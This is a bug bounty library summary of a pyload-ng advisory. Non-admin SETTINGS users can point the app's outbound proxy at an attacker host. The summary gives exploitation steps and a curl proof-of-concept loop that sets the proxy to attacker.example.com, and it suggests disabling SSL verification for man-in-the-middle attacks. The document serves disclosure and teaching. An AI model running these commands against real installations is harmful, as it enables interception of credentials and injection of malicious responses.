# pyload-ng: non-admin SETTINGS users can redirect all outbound traffic through an attacker-controlled proxy via unrestricted `proxy.*` config (incomplete fix for CVE-2026-33509 / -35463 / -35464 / -35586)

Non-admin SETTINGS users could set proxy.enabled/host/port/type in pyload-ng, routing all outbound traffic through an attacker proxy for interception and response injection.

- Payout: Research
- Severity: high
- Program: pyload-ng
- Found by: shmulc8
- Disclosed: 2026-05-04
- CVE: CVE-2026-42313
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-pg67-9wjv-mr85
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-pg67-9wjv-mr85
- Tags: area:web domain:api domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:access-control vuln:misconfiguration vuln:ssrf

**Target:** set_config_value API / proxy configuration in pyload-ng
**Root cause:** The ADMIN_ONLY_CORE_OPTIONS allowlist gated proxy.username/password but omitted proxy.enabled, host, port and type, so a SETTINGS-permission user could point pyload at an arbitrary proxy. Gating credentials is useless when the attacker controls the proxy endpoint itself.
**Steps:**
1. Authenticate as a non-admin user holding Perms.SETTINGS via `POST /api/login`.
2. Send `POST /api/setConfigValue` with `category=proxy&option=enabled&value=True&section=core`.
3. Set `option=host&value=attacker.example.com`, `option=port&value=8080`, `option=type&value=http` the same way.
4. Trigger any download/update/captcha fetch; get_proxies() is read per new pycurl handle so it applies immediately.
5. Observe full request (URL, headers, cookies, body) on attacker listener and inject arbitrary responses.
**How found:** Code review of the hand-maintained ADMIN_ONLY_CORE_OPTIONS allowlist against the proxy.* config keys read by get_proxies(); noticed credentials were gated but the endpoint-selecting fields were not, continuing the pattern of prior missed-option CVEs.
**Exploitation:** Attacker with SETTINGS permission flips four proxy.* config values to their own host, then every outbound pycurl request (downloads, captcha, updates, plugin HTTP) is proxied through them, enabling credential theft from cookies/tokens and response injection into extractor/anticaptcha/update pipelines. Chained with general.ssl_verify=off to MitM HTTPS with forged certs.
**Escalation:** Chain with sibling ssl_verify advisory (general.ssl_verify=off) to defeat HTTPS and accept forged certs for any hostname.
**Insight:** When an allowlist gates secrets for a feature, enumerate every config key the feature's reader consumes and check which ones actually determine the trust boundary — here the proxy endpoint, not its credentials, is the security-relevant field.

## Proof of concept (copied exactly from the original report)

**curl loop setting proxy config as non-admin**

```
for kv in \
    'category=proxy&option=enabled&value=True' \
    'category=proxy&option=host&value=attacker.example.com' \
    'category=proxy&option=port&value=8080' \
    'category=proxy&option=type&value=http' ; do
  curl -b cookies.txt -X POST http://pyload.example:8000/api/setConfigValue \
      -d "$kv&section=core"
done
```